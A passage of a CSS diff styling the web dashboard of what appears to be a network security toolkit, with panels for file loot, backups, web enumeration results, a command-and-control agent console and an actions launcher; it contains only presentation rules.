border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); + box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); + background: color-mix(in oklab, var(--_panel) 96%, transparent); +} + +.files-container .search-input::placeholder { + color: color-mix(in oklab, var(--_muted) 70%, transparent); +} + +.files-container .clear-button { + position: absolute; + right: 12px; + background: none; + border: none; + color: color-mix(in oklab, var(--_acid) 55%, var(--_ink)); + font-size: 16px; + cursor: pointer; + display: none; +} + +.files-container .clear-button.show { + display: block; +} + +.files-container .toolbar-buttons { + display: flex; + gap: 8px; + margin-bottom: 10px; + flex-wrap: wrap; +} + +.files-container .action-button { + background: color-mix(in oklab, var(--_panel) 90%, transparent); + border: 1px solid var(--_border); + color: var(--_muted); + padding: 8px 10px; + border-radius: 10px; + cursor: pointer; + font-size: 14px; + font-weight: 700; + display: flex; + align-items: center; + gap: 6px; + transition: .2s; + backdrop-filter: blur(10px); +} + +.files-container .action-button:hover { + background: color-mix(in oklab, var(--_panel) 96%, transparent); + color: var(--_ink); + transform: translateY(-2px); +} + +.files-container .action-button.active { + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 18%, transparent), color-mix(in oklab, var(--_acid2) 10%, transparent)); + color: var(--_ink); + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); +} + +.files-container .action-button.delete { + background: color-mix(in oklab, var(--_acid) 14%, var(--_panel)); + color: var(--_ink); + display: none; + border-color: color-mix(in oklab, var(--_acid) 40%, var(--_border)); +} + +.files-container .action-button.delete.show { + display: flex; +} + +.files-container .modal { + display: block; + position: fixed; + inset: 0; + z-index: 1000; + background: rgba(0, 0, 0, .5); +} + +.files-container .modal-content { + background: color-mix(in oklab, var(--_panel) 98%, transparent); + color: var(--_ink); + margin: 12vh auto; + padding: 20px; + width: min(500px, 92vw); + border: 1px solid var(--_border); + border-radius: 14px; + box-shadow: var(--_shadow); +} + +.files-container .modal-buttons { + margin-top: 18px; + text-align: right; + display: flex; + gap: 8px; + justify-content: flex-end; +} + +.files-container .modal-buttons button { + margin-left: 0; + padding: 8px 14px; + border-radius: 10px; + border: 1px solid var(--_border); + cursor: pointer; + background: color-mix(in oklab, var(--_panel) 92%, transparent); + color: var(--_ink); +} + +.files-container .modal-buttons button:hover { + background: color-mix(in oklab, var(--_panel) 98%, transparent); +} + +.files-container .modal-buttons .primary { + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 18%, transparent), color-mix(in oklab, var(--_acid2) 10%, transparent)); + border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); + color: var(--_ink); +} + +.files-container #folder-tree { + border: 1px solid var(--_border); + border-radius: 10px; + padding: 8px; + margin: 10px 0; + max-height: 320px; + overflow-y: auto; + background: color-mix(in oklab, var(--_panel) 92%, transparent); +} + +.files-container .folder-item { + padding: 8px 10px; + cursor: pointer; + display: flex; + align-items: center; + gap: 8px; + border-radius: 8px; +} + +.files-container .folder-item:hover { + background: color-mix(in oklab, var(--_panel) 98%, transparent); +} + +.files-container .folder-item.selected { + background: color-mix(in oklab, var(--_acid2) 16%, transparent); + outline: 1px solid color-mix(in oklab, var(--_acid2) 35%, var(--_border)); +} + +.files-container .folder-item i { + color: var(--_muted); +} + +.files-container .path-navigator { + padding: 8px; + margin-bottom: 8px; + border-radius: 10px; + display: flex; + align-items: center; + gap: 8px; + background: color-mix(in oklab, var(--_panel) 90%, transparent); + border: 1px solid var(--_border); +} + +.files-container .nav-buttons { + display: flex; + gap: 8px; +} + +.files-container .back-button { + background: color-mix(in oklab, var(--_panel) 92%, transparent); + border: 1px solid var(--_border); + color: var(--_muted); + padding: 8px 12px; + border-radius: 10px; + cursor: pointer; + font-weight: 700; + display: flex; + align-items: center; + gap: 6px; + min-width: 40px; + min-height: 40px; + justify-content: center; + transition: .2s; +} + +.files-container .back-button:hover { + background: color-mix(in oklab, var(--_panel) 98%, transparent); + color: var(--_ink); +} + +.files-container .current-path { + display: flex; + align-items: center; + gap: 6px; + overflow: hidden; + flex-wrap: wrap; +} + +.files-container .path-segment { + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 16%, transparent), color-mix(in oklab, var(--_acid2) 10%, transparent)); + color: var(--_ink); + padding: 6px 10px; + border-radius: 10px; + cursor: pointer; + transition: .2s; + border: 1px solid color-mix(in oklab, var(--_acid2) 28%, var(--_border)); +} + +.files-container .path-segment:hover { + filter: brightness(1.08); +} + +@media (max-width:420px) { + .files-container .loot-container { + height: 80vh; + } + + .files-container .file-explorer { + max-height: 40vh; + } + + .files-container .files-grid { + max-height: 40vh; + } + + .files-container .drop-zone { + padding: 18px; + font-size: 15px; + } + + .files-container .toolbar-buttons { + padding: 4px; + gap: 6px; + } + + .files-container .search-container, + .files-container .path-navigator { + padding: 4px; + } + + .files-container .grid-item { + min-height: 74px; + font-size: 12px; + } + + .files-container .item-name { + font-size: 13px; + margin-top: 2px; + } + + .files-container .item-meta { + font-size: 10px; + margin-top: 2px; + } + + .files-container .grid-item img, + .files-container .list-item img { + width: 28px; + height: 28px; + } +} + +@media (max-width:768px) { + .files-container .files-grid { + grid-template-columns: repeat(auto-fill, minmax(110px, 1fr)); + gap: 8px; + } + + .files-container #file-list { + max-height: fit-content; + overflow-y: auto; + } + + .files-container .toolbar-buttons { + flex-direction: row; + flex-wrap: wrap; + gap: 8px; + } + + .files-container .files-list { + padding: 8px; + max-height: 50vh; + overflow-y: auto; + } + + .files-container .grid-item { + padding: 8px; + } +} + +/* ═══════════════════════════════════════════════════════════════════════ + BACKUP & UPDATE (.page-backup) + ═══════════════════════════════════════════════════════════════════════ */ +.page-backup .main-container { + display: flex; + height: calc(100vh - 60px); + width: 100%; + position: relative; +} + +.page-backup .section-list { + list-style-type: none; + padding: 0; + margin: 0; + flex-grow: 1; +} + +.page-backup .list-item { + display: flex; + align-items: center; + padding: 12px; + cursor: pointer; + border-radius: var(--radius); + margin-bottom: 12px; + transition: box-shadow .3s, background-color .3s, border-color .3s; + background: var(--grad-card); + border: 1px solid var(--c-border); + box-shadow: var(--shadow); +} + +.page-backup .list-item:hover { + box-shadow: var(--shadow-hover); +} + +.page-backup .list-item.selected { + border: 1px solid #00e764; +} + +.page-backup .list-item img { + margin-right: 10px; +} + +@keyframes bak-spin { + 0% { + transform: rotate(0); + } + + 100% { + transform: rotate(360deg); + } +} + +.page-backup .right-panel { + flex: 1; + display: flex; + flex-direction: column; + padding: 20px; + overflow-y: auto; + box-sizing: border-box; + background-color: #1e1e1e; +} + +.page-backup .content-section { + display: none; +} + +.page-backup .content-section.active { + display: block; +} + +.page-backup form { + margin-top: 20px; +} + +.page-backup form label { + display: block; + margin-bottom: 5px; + color: white; +} + +.page-backup form input[type="text"] { + width: 100%; + padding: 8px; + margin-bottom: 10px; + border: 1px solid #555; + border-radius: 4px; + background-color: #07422f40; + color: #fff; + cursor: text; + pointer-events: auto; +} + +.page-backup form input[type="text"]:focus { + outline: none; + border-color: #007acc; + background-color: #3d3d3d; +} + +.page-backup form input[type="text"]:hover { + border-color: #666; +} + +.page-backup .default-badge { + display: inline-block; + padding: 2px 8px; + margin-left: 8px; + background-color: #007acc; + color: white; + border-radius: 12px; + font-size: .85em; + font-weight: 700; +} + +.page-backup .bj-modal { + display: none; + position: fixed; + z-index: 1000; + inset: 0; + overflow: auto; + background-color: rgba(0, 0, 0, .5); +} + +.page-backup .bj-modal__content { + background-color: #2d2d2d; + margin: 10% auto; + padding: 20px; + border: 1px solid #888; + width: 80%; + max-width: fit-content; + border-radius: 8px; + z-index: 1001; + color: #fff; +} + +.page-backup .bj-modal__close { + color: #aaa; + float: right; + font-size: 28px; + font-weight: 700; + cursor: pointer; +} + +.page-backup .bj-modal__close:hover, +.page-backup .bj-modal__close:focus { + color: #fff; + text-decoration: none; +} + +.page-backup .bj-loading-overlay { + display: none; + position: fixed; + z-index: 1100; + inset: 0; + background-color: rgba(0, 0, 0, .7); + justify-content: center; + align-items: center; +} + +.page-backup .bj-rotating-arrow { + width: 50px; + height: 50px; + border: 5px solid transparent; + border-top: 5px solid #007acc; + border-right: 5px solid #007acc; + border-radius: 50%; + animation: bak-spin 1.5s linear infinite, bak-bjPulse 1.5s ease-in-out infinite; +} + +@keyframes bak-bjPulse { + 0% { + box-shadow: 0 0 0 0 rgba(0, 122, 204, .7); + } + + 70% { + box-shadow: 0 0 0 20px rgba(0, 122, 204, 0); + } + + 100% { + box-shadow: 0 0 0 0 rgba(0, 122, 204, 0); + } +} + +.page-backup #bj-update-message { + background-color: #28a745; + color: #fff; + padding: 12px 20px; + border-radius: 25px; + display: inline-block; + margin-bottom: 15px; + box-shadow: 0 4px 6px rgba(0, 0, 0, .1); + font-size: 16px; + max-width: 100%; + word-wrap: break-word; +} + +.page-backup #bj-update-message.fade-in { + animation: bak-fadeIn .5s ease-in-out; +} + +@keyframes bak-fadeIn { + from { + opacity: 0; + transform: translateY(-10px); + } + + to { + opacity: 1; + transform: translateY(0); + } +} + +@media (max-width:768px) { + .page-backup .main-container { + flex-direction: column; + } +} + +@media (min-width:769px) { + .page-backup .menu-icon { + display: none; + } + + .page-backup .side-menu { + transform: translateX(0); + position: relative; + height: 98%; + z-index: 10000; + } +} + +.page-backup .form-control { + cursor: text; + pointer-events: auto; + background-color: #2d2d2d; + color: #ffffff; +} + +.page-backup .backups-table button.loading { + position: relative; + pointer-events: none; + opacity: .6; + background-color: #2d2d2d; + color: #fff; + border: #007acc; +} + +/* ═══════════════════════════════════════════════════════════════════════ + WEB ENUM (.webenum-container) + ═══════════════════════════════════════════════════════════════════════ */ +.webenum-container .container { + max-width: 1400px; + margin: 0 auto; + padding: 16px; +} + +.webenum-container .header.card { + display: flex; + align-items: center; + justify-content: space-between; + gap: 10px; +} + +.webenum-container .header h1 { + margin: 0; + color: var(--acid); +} + +.webenum-container .controls.card { + display: grid; + gap: 10px; +} + +.webenum-container .controls-row { + display: flex; + flex-wrap: wrap; + gap: var(--gap-3); + align-items: center; +} + +.webenum-container .search-box { + flex: 1; + min-width: 230px; + position: relative; +} + +.webenum-container .search-box .input { + width: 100%; + padding-right: 36px; +} + +.webenum-container .search-icon { + position: absolute; + right: 10px; + top: 50%; + transform: translateY(-50%); + color: var(--acid); +} + +.webenum-container .stats { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(180px, 1fr)); + gap: 10px; + margin: 10px 0 12px; +} + +.webenum-container .stat-card { + background: var(--grad-card); + border: 1px solid var(--c-border); + border-radius: 14px; + padding: 12px 14px; + box-shadow: var(--shadow); +} + +.webenum-container .stat-value { + font-weight: 700; + color: var(--acid); +} + +.webenum-container .stat-label { + color: var(--muted); +} + +.webenum-container .status-legend.card { + display: flex; + flex-wrap: wrap; + gap: 8px; + align-items: center; +} + +.webenum-container .results-container.card { + overflow: hidden; +} + +.webenum-container .results-header { + display: flex; + justify-content: space-between; + align-items: center; + border-bottom: 1px solid var(--c-border); + padding-bottom: 8px; + margin-bottom: 8px; +} + +.webenum-container .results-count { + color: var(--accent-2); + font-weight: 600; +} + +.webenum-container .table-container { + overflow: auto; + max-height: calc(100vh - 520px); + min-height: 400px; +} + +.webenum-container table { + width: 100%; + border-collapse: collapse; +} + +.webenum-container th { + position: sticky; + top: 0; + z-index: 1; + background: var(--c-panel-2); + color: var(--acid); + text-align: left; + padding: 10px 12px; + border-bottom: 1px solid var(--c-border); + user-select: none; + cursor: pointer; + font-weight: 700; +} + +.webenum-container td { + padding: 8px 12px; + border-bottom: 1px dashed var(--c-border); +} + +.webenum-container tr { + transition: background .15s ease; +} + +.webenum-container tr:hover { + background: color-mix(in oklab, var(--acid) 8%, transparent); + cursor: pointer; +} + +.webenum-container th.sortable::after { + content: ' \21C5'; + opacity: .5; +} + +.webenum-container th.sort-asc::after { + content: ' \2191'; + color: var(--acid); + opacity: 1; +} + +.webenum-container th.sort-desc::after { + content: ' \2193'; + color: var(--acid); + opacity: 1; +} + +.webenum-container .no-results { + text-align: center; + padding: 40px; + color: var(--muted); + font-style: italic; +} + +.webenum-container .loading { + text-align: center; + padding: 40px; + color: var(--acid); +} + +.webenum-container .host-badge { + background: var(--c-chip-bg); + color: var(--accent-2); + padding: 3px 8px; + border-radius: 8px; + border: 1px solid var(--c-border); + font-weight: 600; + font-size: .9rem; +} + +.webenum-container .port-badge { + background: var(--c-chip-bg); + color: var(--acid); + padding: 3px 8px; + border-radius: 8px; + border: 1px solid var(--c-border); + font-weight: 700; + font-size: .9rem; +} + +.webenum-container .url-link { + color: var(--acid-2); + text-decoration: none; + font-size: 1.1rem; + transition: .2s; +} + +.webenum-container .url-link:hover { + color: var(--acid); + transform: scale(1.2); + display: inline-block; +} + +.webenum-container .status { + display: inline-block; + min-width: 60px; + text-align: center; + padding: 5px 10px; + border-radius: 8px; + font-weight: 700; + font-size: .85rem; + border: 1px solid var(--c-border); + transition: .2s; + cursor: default; +} + +.webenum-container .status:hover { + transform: translateY(-1px); + box-shadow: 0 2px 8px rgba(0, 0, 0, 0.3); +} + +.webenum-container .status-2xx { + background: var(--ok); + color: var(--ink-invert); +} + +.webenum-container .status-3xx { + background: var(--warning); + color: var(--ink-invert); +} + +.webenum-container .status-4xx { + background: var(--danger); + color: var(--ink); +} + +.webenum-container .status-5xx { + background: color-mix(in oklab, var(--danger) 65%, var(--lvl-crit-bg) 35%); + color: var(--ink); +} + +.webenum-container .status-unknown { + background: var(--muted-off); + color: var(--ink); +} + +.webenum-container .pagination { + display: flex; + justify-content: center; + align-items: center; + gap: 8px; + padding: 10px; + background: var(--c-panel); + border-top: 1px dashed var(--c-border); +} + +.webenum-container .page-btn { + display: inline-flex; + align-items: center; + justify-content: center; + padding: 8px 10px; + border-radius: var(--control-r); + background: var(--c-btn); + border: 1px solid var(--c-border-strong); + color: var(--ink); + cursor: pointer; + box-shadow: var(--shadow); + transition: .18s; +} + +.webenum-container .page-btn:hover { + transform: translateY(-1px); + box-shadow: var(--shadow-hover); +} + +.webenum-container .page-btn.active { + outline: 2px solid color-mix(in oklab, var(--acid) 55%, transparent); +} + +.webenum-container .page-btn:disabled { + opacity: .5; + cursor: not-allowed; +} + +.webenum-container .btn-primary { + background: linear-gradient(180deg, color-mix(in oklab, var(--acid) 28%, var(--c-btn)), var(--c-btn)); + border-color: color-mix(in oklab, var(--acid) 45%, var(--c-border)); + color: var(--ink); +} + +.webenum-container .webenum-modal-backdrop { + display: none; + position: fixed; + inset: 0; + background: rgba(0, 0, 0, 0.85); + backdrop-filter: blur(4px); + z-index: 9999; + align-items: center; + justify-content: center; + animation: we-fadeIn 0.2s ease; +} + +.webenum-container .webenum-modal-backdrop.show { + display: flex; +} + +.webenum-container .webenum-modal-content { + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 16px; + box-shadow: 0 8px 32px rgba(0, 0, 0, 0.5); + width: min(720px, 96vw); + max-height: 86vh; + overflow: auto; + padding: 24px; + position: relative; + animation: we-slideUp 0.3s ease; +} + +.webenum-container .webenum-modal-content h2 { + margin: 0 0 16px; + color: var(--acid); + font-size: 1.5rem; +} + +.webenum-container .webenum-close { + position: absolute; + top: 16px; + right: 16px; + color: var(--muted); + font-size: 28px; + font-weight: 700; + cursor: pointer; + line-height: 1; + transition: .2s; + background: var(--c-btn); + border: 1px solid var(--c-border); + border-radius: 8px; + width: 32px; + height: 32px; + display: flex; + align-items: center; + justify-content: center; +} + +.webenum-container .webenum-close:hover { + color: var(--acid); + transform: rotate(90deg); +} + +@keyframes we-fadeIn { + from { + opacity: 0; + } + + to { + opacity: 1; + } +} + +@keyframes we-slideUp { + from { + transform: translateY(20px); + opacity: 0; + } + + to { + transform: translateY(0); + opacity: 1; + } +} + +@media (max-width:768px) { + .webenum-container .container { + padding: 10px; + } + + .webenum-container .results-header { + flex-direction: column; + gap: 8px; + text-align: center; + } + + .webenum-container th, + .webenum-container td { + padding: 8px 6px; + } +} + +@media (max-width:480px) { + + .webenum-container th, + .webenum-container td { + padding: 6px 4px; + font-size: .85rem; + } + + .webenum-container .status { + font-size: .75rem; + } +} + +/* ═══════════════════════════════════════════════════════════════════════ + ZOMBIELAND C2C (.zombieland-container) + ═══════════════════════════════════════════════════════════════════════ */ +.zombieland-container .panel { + background: var(--panel); + border: 1px solid var(--c-border); + border-radius: var(--radius); + box-shadow: var(--shadow); +} + +.zombieland-container .btn-icon { + padding: 8px; + min-width: 36px; + display: inline-flex; + align-items: center; + justify-content: center; +} + +.zombieland-container .btn-primary { + background: linear-gradient(180deg, color-mix(in oklab, var(--accent) 22%, var(--btn-bg-solid)), var(--btn-bg-solid)); + border-color: color-mix(in oklab, var(--accent) 55%, var(--border)); +} + +.zombieland-container .btn-danger { + background: linear-gradient(180deg, color-mix(in oklab, var(--danger) 20%, var(--btn-bg-solid)), var(--btn-bg-solid)); + border-color: color-mix(in oklab, var(--danger) 55%, var(--border)); +} + +.zombieland-container .pill { + background: var(--c-pill-bg); + border: 1px solid var(--c-border); + color: var(--muted); +} + +.zombieland-container .pill.online { + border-color: color-mix(in oklab, var(--ok) 60%, transparent); + color: var(--ok); +} + +.zombieland-container .pill.offline { + border-color: color-mix(in oklab, var(--danger) 60%, transparent); + color: var(--danger); +} + +.zombieland-container .pill.idle { + border-color: color-mix(in oklab, var(--warning) 60%, transparent); + color: var(--warning); +} + +.zombieland-container .term { + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 10px; +} + +.zombieland-container .console-output { + height: 400px; + overflow-y: auto; + padding: 12px; + font: var(--font-mono); + background: var(--grad-console); + border-radius: 8px; +} + +.zombieland-container .console-line { + margin: 4px 0; + display: flex; + align-items: flex-start; + gap: 8px; + font: var(--font-mono); +} + +.zombieland-container .console-time { + color: var(--muted); + font-size: 11px; +} + +.zombieland-container .console-type { + padding: 2px 6px; + border-radius: 999px; + font-size: 11px; + font-weight: 700; + border: 1px solid var(--c-border); + background: var(--c-chip-bg); +} + +.zombieland-container .console-type.tx { + background: var(--switch-on-bg); + color: var(--ok); + border-color: color-mix(in oklab, var(--ok) 60%, transparent); +} + +.zombieland-container .console-type.rx { + background: color-mix(in oklab, var(--accent-2) 18%, var(--c-panel)); + color: var(--accent-2); + border-color: color-mix(in oklab, var(--accent-2) 60%, transparent); +} + +.zombieland-container .console-content { + flex: 1; + word-break: break-word; +} + +.zombieland-container .console-content pre { + margin: 0; + white-space: pre-wrap; +} + +.zombieland-container .agent-card { + transition: transform .16s ease, box-shadow .16s ease, border-color .16s ease; + cursor: pointer; + position: relative; + border: 1px solid var(--c-border); + border-radius: var(--radius); + background: var(--grad-card); + box-shadow: var(--shadow); +} + +.zombieland-container .agent-card:hover { + transform: translateY(-1px); + box-shadow: var(--shadow-hover); +} + +.zombieland-container .agent-card.selected { + border-color: color-mix(in oklab, var(--accent) 55%, transparent); + background: var(--grad-chip-selected); +} + +.zombieland-container .os-icon { + width: 24px; + height: 24px; +} + +.zombieland-container .toast.info { + border-color: color-mix(in oklab, var(--accent-2) 60%, transparent); +} + +.zombieland-container .toast.success { + border-color: color-mix(in oklab, var(--ok) 60%, transparent); +} + +.zombieland-container .toast.error { + border-color: color-mix(in oklab, var(--danger) 60%, transparent); +} + +.zombieland-container .toast.warning { + border-color: color-mix(in oklab, var(--warning) 60%, transparent); +} + +.zombieland-container .quick-cmd { + padding: 6px 12px; + background: var(--c-panel); + border: 1px dashed var(--c-border); + border-radius: 8px; + font-size: 12px; + cursor: pointer; +} + +.zombieland-container .quick-cmd:hover { + box-shadow: 0 0 0 1px var(--c-border) inset, 0 8px 22px var(--glow-weak); +} + +.zombieland-container .metric { + text-align: center; +} + +.zombieland-container .metric-value { + font-size: 32px; + font-weight: 800; + color: var(--acid); +} + +.zombieland-container .metric-label { + font-size: 12px; + color: var(--muted); + margin-top: 4px; +} + +.zombieland-container .file-item { + padding: 8px; + display: flex; + align-items: center; + gap: 8px; + cursor: pointer; + border-radius: 10px; +} + +.zombieland-container .file-item:hover { + background: var(--c-panel); +} + +.zombieland-container .file-item.directory { + color: var(--accent-2); +} + +.zombieland-container .modal_zombie { + background: var(--grad-modal); + border: 1px solid var(--c-border-strong); + border-radius: 16px; + box-shadow: 0 40px 120px var(--glow-strong), inset 0 0 0 1px var(--glow-strong); +} + +.zombieland-container .modal-content { + background: transparent; + border: none; + border-radius: 12px; + padding: 24px; + max-width: 720px; + width: 90%; + max-height: 80vh; + overflow-y: auto; +} + +@keyframes zl-pulseGreen { + 0% { + box-shadow: 0 0 0 0 var(--glow-strong); + } + + 70% { + box-shadow: 0 0 0 12px rgba(0, 0, 0, 0); + } + + 100% { + box-shadow: 0 0 0 0 rgba(0, 0, 0, 0); + } +} + +.zombieland-container .agent-card.pulse { + animation: zl-pulseGreen 1s ease; +} + +.zombieland-container .agent-stale-yellow { + border-color: color-mix(in oklab, var(--warning) 75%, transparent) !important; +} + +.zombieland-container .agent-stale-orange { + border-color: color-mix(in oklab, var(--warning) 95%, var(--danger) 10%); +} + +.zombieland-container .agent-stale-red { + border-color: var(--danger) !important; +} + +.zombieland-container .ecg { + position: relative; + width: 100%; + height: 42px; + overflow: hidden; + margin-top: 8px; + background: linear-gradient(transparent 23px, rgba(255, 255, 255, .04) 23px, transparent 24px); +} + +.zombieland-container .ecg-wrapper { + position: absolute; + top: 0; + left: 0; + height: 100%; + width: 600px; + display: flex; + will-change: transform; + animation: zl-ecgScroll linear infinite; +} + +@keyframes zl-ecgScroll { + from { + transform: translateX(0); + } + + to { + transform: translateX(-200px); + } +} + +.zombieland-container .ecg svg { + width: 200px; + height: 100%; + flex-shrink: 0; +} + +.zombieland-container .ecg path { + fill: none; + stroke: currentColor; + stroke-width: 2; + stroke-linecap: round; + stroke-linejoin: round; + filter: drop-shadow(0 0 2px currentColor) drop-shadow(0 0 6px currentColor); + shape-rendering: geometricPrecision; +} + +.zombieland-container .ecg.green { + color: var(--ok); +} + +.zombieland-container .ecg.yellow { + color: var(--warning); +} + +.zombieland-container .ecg.orange { + color: color-mix(in oklab, var(--warning) 70%, var(--danger) 20%); +} + +.zombieland-container .ecg.red { + color: var(--danger); +} + +.zombieland-container .ecg.flat .ecg-wrapper { + animation: none; +} + +.zombieland-container .ecg:not(.flat)::after { + content: ""; + position: absolute; + inset: 0; + background: linear-gradient(0deg, transparent, rgba(255, 255, 255, .03), transparent); + animation: zl-ecgFlicker 2.3s ease-in-out infinite alternate; + pointer-events: none; +} + +@keyframes zl-ecgFlicker { + from { + opacity: .2; + transform: translateY(0); + } + + to { + opacity: .35; + transform: translateY(-0.5px); + } +} + +.zombieland-container .console-line:has(.console-type.tx) .console-content { + color: var(--ok); +} + +.zombieland-container .console-line:has(.console-type.rx) .console-content { + color: var(--accent-2); +} + +.zombieland-container .console-output { + background: var(--grad-console); + border: 1px solid var(--c-border-strong); +} + +.zombieland-container .toolbar { + flex-wrap: wrap; + gap: 8px; +} + +.zombieland-container .quickbar { + overflow-x: auto; + -webkit-overflow-scrolling: touch; + scrollbar-width: thin; + padding-bottom: 4px; +} + +.zombieland-container .term-controls { + flex-wrap: wrap; +} + +.zombieland-container .term-controls .input, +.zombieland-container .term-controls .select { + min-width: 140px; +} + +@media (max-width: 768px) { + .zombieland-container .stats-grid { + grid-template-columns: 1fr !important; + } + + .zombieland-container .term-controls { + gap: 8px; + } + + .zombieland-container .term-controls .input { + flex: 1 1 100%; + } + + .zombieland-container .term-controls .select { + flex: 1 1 45%; + } + + .zombieland-container .term-controls .btn { + flex: 1 1 45%; + } +} + +.zombieland-container .console-type.info { + background: color-mix(in oklab, var(--accent-2) 14%, var(--c-panel)); + color: var(--accent-2); + border-color: color-mix(in oklab, var(--accent-2) 60%, transparent); +} + +.zombieland-container .console-type.warning { + background: color-mix(in oklab, var(--warning) 12%, var(--c-panel)); + color: var(--warning); + border-color: color-mix(in oklab, var(--warning) 60%, transparent); +} + +.zombieland-container .console-type.error { + background: color-mix(in oklab, var(--danger) 12%, var(--c-panel)); + color: var(--danger); + border-color: color-mix(in oklab, var(--danger) 60%, transparent); +} + +.zombieland-container .console-type.success { + background: color-mix(in oklab, var(--ok) 12%, var(--c-panel)); + color: var(--ok); + border-color: color-mix(in oklab, var(--ok) 60%, transparent); +} + +.zombieland-container .console-line:has(.console-type.info) .console-content { + color: var(--accent-2); +} + +.zombieland-container .console-line:has(.console-type.warning) .console-content { + color: var(--warning); +} + +.zombieland-container .console-line:has(.console-type.error) .console-content { + color: var(--danger); +} + +.zombieland-container .console-line:has(.console-type.success) .console-content { + color: var(--ok); +} + +.zombieland-container #logsOutput { + background: var(--grad-console) !important; + border: 1px solid var(--c-border-strong); + border-radius: 10px; + color: var(--ink); + padding: 12px; +} + +.zombieland-container #logsOutput .log-line { + display: flex; + align-items: flex-start; + gap: 8px; + font: var(--font-mono); + margin: 4px 0; +} + +.zombieland-container #logsOutput .log-time { + color: var(--muted); + font-size: 11px; +} + +.zombieland-container #logsOutput .log-text { + flex: 1; + word-break: break-word; +} + +.zombieland-container #logsOutput .console-type { + padding: 2px 6px; + border-radius: 999px; + font-size: 11px; + font-weight: 700; + border: 1px solid var(--c-border); + background: var(--c-chip-bg); +} + +.zombieland-container .stats-grid { + gap: 8px !important; + margin-bottom: 14px; +} + +.zombieland-container .stats-grid .panel { + padding: 10px 12px; +} + +.zombieland-container .stats-grid .metric-value { + font-size: 22px; +} + +.zombieland-container .stats-grid .metric-label { + font-size: 11px; + margin-top: 2px; +} + +@media (max-width:768px) { + .zombieland-container .stats-grid { + gap: 8px !important; + } +} + +/* ═══════════════════════════════════════════════════════════════════════ + ACTIONS LAUNCHER (.actions-container) + ═══════════════════════════════════════════════════════════════════════ */ +.actions-container #actionsLauncher { + min-height: 0; + height: 100%; + display: grid; + grid-template-columns: 1fr; + gap: var(--gap-3, 10px); +} + +.actions-container .panel { + background: var(--grad-card, var(--c-panel)); + border: 1px solid var(--c-border); + border-radius: var(--radius, 14px); + box-shadow: var(--elev, 0 10px 30px var(--acid-1a, #00ff9a1a), inset 0 0 0 1px var(--acid-22, #00ff9a22)); + overflow: clip; +} + +.actions-container .sideheader { + padding: 10px 10px 6px; + border-bottom: 1px dashed var(--c-border); +} + +.actions-container .al-side-meta { + display: flex; + align-items: center; + justify-content: space-between; + gap: 8px; + margin-bottom: 8px; +} + +.actions-container .al-side-meta .sidetitle { + color: var(--acid); + font-weight: 800; + letter-spacing: .05em; +} + +.actions-container .tabs-container { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.actions-container .tab-btn { + all: unset; + cursor: pointer; + padding: 6px 10px; + border-radius: 10px; + background: var(--c-pill-bg); + border: 1px solid var(--c-border); + color: var(--muted); +} + +.actions-container .tab-btn.active { + background: var(--grad-chip-selected); + outline: 2px solid color-mix(in oklab, var(--acid) 55%, transparent); + outline-offset: 0; +} + +.actions-container .al-search { + display: flex; + gap: 10px; + padding: 10px; +} + +.actions-container .al-input { + flex: 1; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + color: var(--ink); + padding: 10px 12px; + border-radius: var(--control-r, 10px); + font: inherit; +} + +.actions-container .al-input:focus { + outline: none; + box-shadow: 0 0 0 2px color-mix(in oklab, var(--acid) 55%, transparent) inset; +} + +.actions-container .sidecontent { + padding: 8px; + overflow: auto; +} + +.actions-container .al-list { + display: flex; + flex-direction: column; + gap: 10px; + padding-right: 4px; +} + +.actions-container .al-row { + position: relative; + display: grid; + grid-template-columns: 84px 1fr; + gap: 12px; + padding: 10px; + background: var(--c-panel-2); + border-radius: 12px; + cursor: pointer; + transition: transform .15s ease, border-color .15s ease, box-shadow .15s ease; +} + +.actions-container .al-row:hover { + transform: translateY(-1px); + border-color: color-mix(in oklab, var(--accent) 25%, var(--c-border)); + box-shadow: 0 10px 26px var(--glow-weak); +} + +.actions-container .al-row.selected { + outline: 2px solid color-mix(in oklab, var(--acid) 35%, transparent); + box-shadow: 0 12px 30px color-mix(in oklab, var(--acid) 25%, transparent); +} + +.actions-container .al-row .ic { + width: 84px; + height: 84px; + display: grid; + place-items: center; + border-radius: 12px; + background: var(--c-panel); + overflow: hidden; +} + +.actions-container .ic-img { + width: 70px; + height: 70px; + object-fit: cover; + display: block; +} + +.actions-container .al-row>div:nth-child(2) { + min-width: 0; + display: flex; + flex-direction: column; + gap: 4px; +} + +.actions-container .name { + font-weight: 800; + color: var(--acid-2); + font-size: 14px; + line-height: 1.2; +} + +.actions-container .desc { + color: var(--muted); + font-size: 13px; + line-height: 1.25; +} + +.actions-container .al-row .chip { + position: absolute; + top: 6px; + left: calc(84px/2 + 10px); + transform: translateX(-50%); + padding: 2px 8px; + border-radius: 999px; + border: 1px solid var(--c-border); + background: var(--c-chip-bg); + color: var(--muted); + font-size: 11px; + line-height: 1; + pointer-events: none; +} + +.actions-container .chip.ok { + color: var(--ok); + border-color: color-mix(in oklab, var(--ok) 60%, transparent); +} + +.actions-container .chip.err { + color: var(--danger); + border-color: color-mix(in oklab, var(--danger) 60%, transparent); +} + +.actions-container .chip.run { + color: var(--acid); + border-color: color-mix(in oklab, var(--acid) 60%, transparent); +} + +.actions-container .center { + display: flex; + flex-direction: column; + min-height: 0; + height: 100%; +} + +.actions-container .toolbar2 { + display: flex; + align-items: center; + gap: 10px; + padding: 10px; + border-bottom: 1px solid var(--c-border); + background: var(--c-panel); + flex-wrap: wrap; +} + +.actions-container .seg { + display: flex; + border-radius: 10px; + overflow: hidden; + border: 1px solid var(--c-border); +} + +.actions-container .seg button { + background: var(--c-panel); + color: var(--muted); + padding: 8px 10px; + border: none; + border-right: 1px solid var(--c-border); + cursor: pointer; + font: inherit; +} + +.actions-container .seg button:last-child { + border-right: none; +} + +.actions-container .seg button.active { + color: var(--ink-invert); + background: linear-gradient(90deg, var(--acid-2), color-mix(in oklab, var(--acid-2) 60%, white)); 